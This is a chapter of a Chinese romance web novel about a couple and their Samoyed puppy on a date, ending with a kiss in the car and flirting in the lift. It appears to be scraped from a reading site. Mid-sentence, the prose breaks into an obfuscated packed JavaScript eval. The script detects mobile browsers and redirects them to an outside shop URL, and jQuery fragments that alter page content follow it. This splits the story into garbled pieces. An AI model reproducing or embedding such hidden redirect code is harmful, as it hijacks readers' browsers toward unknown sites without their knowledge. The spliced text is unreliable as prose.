他们没有找到合适的能让牙牙进去的店,老街区的小店人多又挤,梁聿白便提议去他那里点外卖或者想吃什么可以让酒店的餐厅做。
孟令宜原本以为今天的约会就到此为止了,她低头看了一眼自己的鞋尖,牙牙坐在她的脚边正用自己短短的尾巴扫过她的鞋面,无声地勾引。
她看着牙牙头顶那两只白白软软的耳朵,点了点头。
梁聿白没忍住多看了两眼牙牙,还真是养狗千日用狗一时,虽然这只小狗才不过三个月大,小小一只,但是在孟令宜那里好像这条狗的吸引力比他还要大。
梁聿白甚至有些怀疑,如果今天没有带牙牙出来,孟令宜会和他回去吗。
–
小狗被她抱起来放在了后座,她脱了牙牙的鞋子,让干净的狗jio落在座椅上,小狗跑累了窝在后座的软垫窝里团成一团,梁聿白看着,“到时候送去洗车就好了,不用这么麻烦。”
孟令宜伸手握了握小狗的嘴筒子,“不麻烦的,多一事不如少一事。”
梁聿白对上牙牙懵懵的小眼神挪开了视线。
上了车。
孟令宜系好安全带,梁聿白手指点了点方向盘,车子驶离了老街区走上主路,今天是周末,天气好,有点堵车。
他们前面还有长排的队伍,导航上是红色的堵车预警。
他开车很稳,车厢里很安静,暖风开着,烘得人身上都暖融融的。牙牙在后座窝着,已经睡着了,发出细细的呼噜声。
密闭的空间让她有些不自在,尤其是单独和梁聿白在一起,尤其是现在两个人是男女朋友关系下的单独相处。
虽然后座还有一只萨摩耶。
可是依旧让人觉得呼吸困难。
孟令宜拿出手机佯装自己不在意,恰好姥姥的消息发过来,问她中午回不回家吃饭,她打字回说中午不回去了。刚发完,余光里感觉到他偏过头来看她。
她抬起头,对上他的目光。
。
然后她仓促地挪开,他继续开车,而她兀自红了耳尖。
孟令宜从来没有觉得二十分钟的路程如此漫长。
车子停在地下车库,孟令宜侧首,她声音放得很轻,几乎是气音,“要喊醒牙牙吗?”
梁聿白掀了掀眼皮,目光没什么分量地扫过后面那只睡得香甜的傻狗。
她怎么眼里只有这条狗?
梁聿白没说话,孟令宜只听见咔哒一声,他解了安全带。
她眨巴了一下眼睛,人还没反应过来,男人已经倾身过来了,他一只手落在了车窗上。
而她被安全带勒着,活动范围很有限,后腰抵在车门上,退无可退。
他的吻落下来的时候,她闻到那股很淡的木质茶香和柑橘的味道,还有一点点薄荷味,是他唇齿之间的牙膏味道。
这一切都让她沉醉。
这是他们清醒意识下接的第一个深入的吻。
他的嘴唇比她想象中要软,轻轻地贴上来,没有立刻深入,男人轻掀眼皮,看着她眼中的慌乱,加深了动作。
孟令宜攥着手机的手指微微收紧,屏住呼吸,她只觉得这样就要窒息。
她不太会接吻,准确地来说是很不会接吻。
仅有的经验是初/夜,剩下的就是昨晚那个纯洁的贴贴吻。
而那晚意识模糊。此刻她是清醒的,心跳快得像要从喉咙里蹦出来,她红着脸,不知道是因为他的吻而害羞还是因为憋气憋得。
她甚至不知道该闭眼还是该睁眼,最后干脆闭上,睫毛止不住地颤。
梁聿白吻得很耐心,舌/尖轻轻扫过她唇缝的时候她整个人都麻了一下。她下意识地往后缩了缩,后脑勺却碰到车窗,冰凉的触感激得她一抖,反而往他那边靠了靠。
他低低笑了一声,含混在呼吸里,她听见了,耳朵更烫。
男人一只手绕到她脑后,垫在她和后车窗之间,温热的掌心隔开了冰凉的玻璃。另一只手终于放下来,指尖搭在她的手腕上,并没有用力。
可她的脉搏跳得好快。
扑通——
扑通——
察觉到她快要不会呼吸,他退开一点,鼻尖蹭着她的鼻尖,两个人呼吸交缠,暧昧丛生。
“你今天很漂亮。”
她张了张嘴,不知道说什么,耳根烧得厉害。
梁聿白的手指从她手腕缓缓上移,沿着她的手臂外侧滑到肩膀,最后停在侧颈的位置。他拇指轻轻蹭了一下她的颈侧,那里的脉搏跳得又急又乱。
他又夸她,梁聿白的声音低低的,带着点漫不经心的笑意,热气拂在她唇上,那句很漂亮夸得她很不好意思。
孟令宜眼睫颤了一下,睁开眼对上他的目光,他离得太近,近得她能看见他眼底里映着的自己,脸颊红红的,头发有点乱。
他目光落在她脸上,带着侵略性的,从眉眼滑到鼻尖,最后落在她的唇上。
“心跳好快。”他说。
孟令宜被他这句话噎得更加说不出话,脑子浆糊一样转不动。她垂下眼,避开他灼灼的目光,目光却落在他喉结上,那里随着他说话微微滚动了一下,她又像被烫到一样赶紧挪开。
梁聿白似乎很满意她这个反应,拇指从她颈侧移到下颌,轻轻托起她的下巴让她重新看向自己。
“水蜜桃味的唇膏?”他低头又碰了一下她的唇角,这次只是蜻蜓点水。
孟令宜点了点头,嘴唇动了动,挤出一句:“你喜欢吗?”
话一出口她就后悔了,问的什么乱七八糟的。
梁聿白愣了一下,随即眼里浮出笑意:“喜欢。”
男人指尖蹭过她唇角残余的唇膏痕迹,“它很甜。”
孟令宜想说点什么,脑子却浆糊一样转不动,只是呆呆地点了点头。
后座忽然传来一阵窸窸窣窣的动静,紧接着一个热乎乎的小脑袋从两个座椅之间的缝隙里拱了出来,湿漉漉的鼻尖先是蹭了一下梁聿白的肩膀,然后又朝孟令宜这边凑过来,好奇地嗅了嗅她的嘴角。
孟令宜这才反应过来刚才发生了什么,耳根一下子烧透了。
牙牙探出脑袋来,小舌头刚要伸出来舔她下巴,梁聿白眼疾手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17918725|213403||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
快,单手握住它的嘴筒子,把它的小脑袋轻轻往回推。
“不许亲。”他说。
小狗的嘴筒子被握着,只能发出呜呜的委屈哼唧声,四只爪子刨着椅背,不甘心地在缝隙里挤来挤去。
孟令宜被它这副模样逗得忍不住弯了弯嘴角,伸手摸了摸它的耳朵:“牙牙乖。”
“孟令宜,”梁聿白忽然叫她名字,手还松松握着狗嘴,“你是不是因为狗才想跟我谈恋爱的?”
她愣住了,对上他那双带了点认真又带着揶揄的眼睛,心跳漏了一拍,随即心跳得更厉害。
“当然不是……”她的声音小得像蚊子哼哼,没什么底气。
“真的?”
“真的!”她这次稍微大了一点声。
孟令宜觉得他好奇怪,怎么会有人因为宠物和人谈恋爱的,但是他这么想了孟令宜就忍不住顺着他的话去问:“那如果我真的是因为牙牙呢?你怎么办?”
她抠着指甲等他回答。
梁聿白松开牙牙的嘴筒子,小狗立刻缩回后座,他拖腔拿调的“啊”了一声,唇角微弯,看向她,满眼戏谑,一副我就知道是这样的表情。
孟令宜在他调戏的目光下竟然有些心虚,男人语气吊儿郎当,“我还能怎么办,如果是真的那我就只能好好供着它了,它就是我的狗祖宗了。”
后座的牙牙突然汪了一声,梁聿白长臂一伸弹了一下它的脑壳,没大没小。
小狗呜咽一声显得可怜巴巴。
–
电梯里三面镜子环绕,牙牙活蹦乱跳地绕着孟令宜的脚转圈。梁聿白一手插兜一手牵着她,一直没有放开。
他靠着电梯壁,歪头看她被小狗绊得左摇右晃的样子,薄唇轻扬,眼底隐现笑意。
孟令宜垂眸看着两个人交握的手,他的手真的好大,把她的手完全覆盖住了。
但是又好有安全感,好想把玩他修长漂亮的手指。
孟令宜抿了一下唇,压下想要翘起来的唇角。
孟令宜总觉得有人在看自己,她抬眸,从镜子里不小心同他对视,男人轻挑眉梢,她嘴唇翕动了一下,想要偏开头,却又不想一直闪躲。
两个人隔着镜面四目相对。
“看什么?”他问。
孟令宜觉得这人真是奇怪,明明是他一直在看自己,为什么还这么理直气壮的问她,她小声抗议嘟囔了一句,“没看你。”
“嗯,”他慢悠悠地应了一声,“那你看谁?”
“……看牙牙。”
梁聿白低头看了一眼脚边那只撒欢的小白团子,又抬眼看她,目光带着薄薄的笑意:“牙牙有什么好看的。”
“孟令宜,你要多看看我。”他挠了挠她的掌心,孟令宜被他撩得面红耳赤。
她被他说得抬不起头来,刚好电梯到了,她率先迈出去,步子走得有点快。
她牵着牙牙,差点同手同脚把自己绊倒,梁聿白在后面慢悠悠地跟着,看着她慌慌张张的背影,还有背影里乱晃的微卷的发尾,喉咙里没忍住溢出一声轻笑。
真是太不经逗了。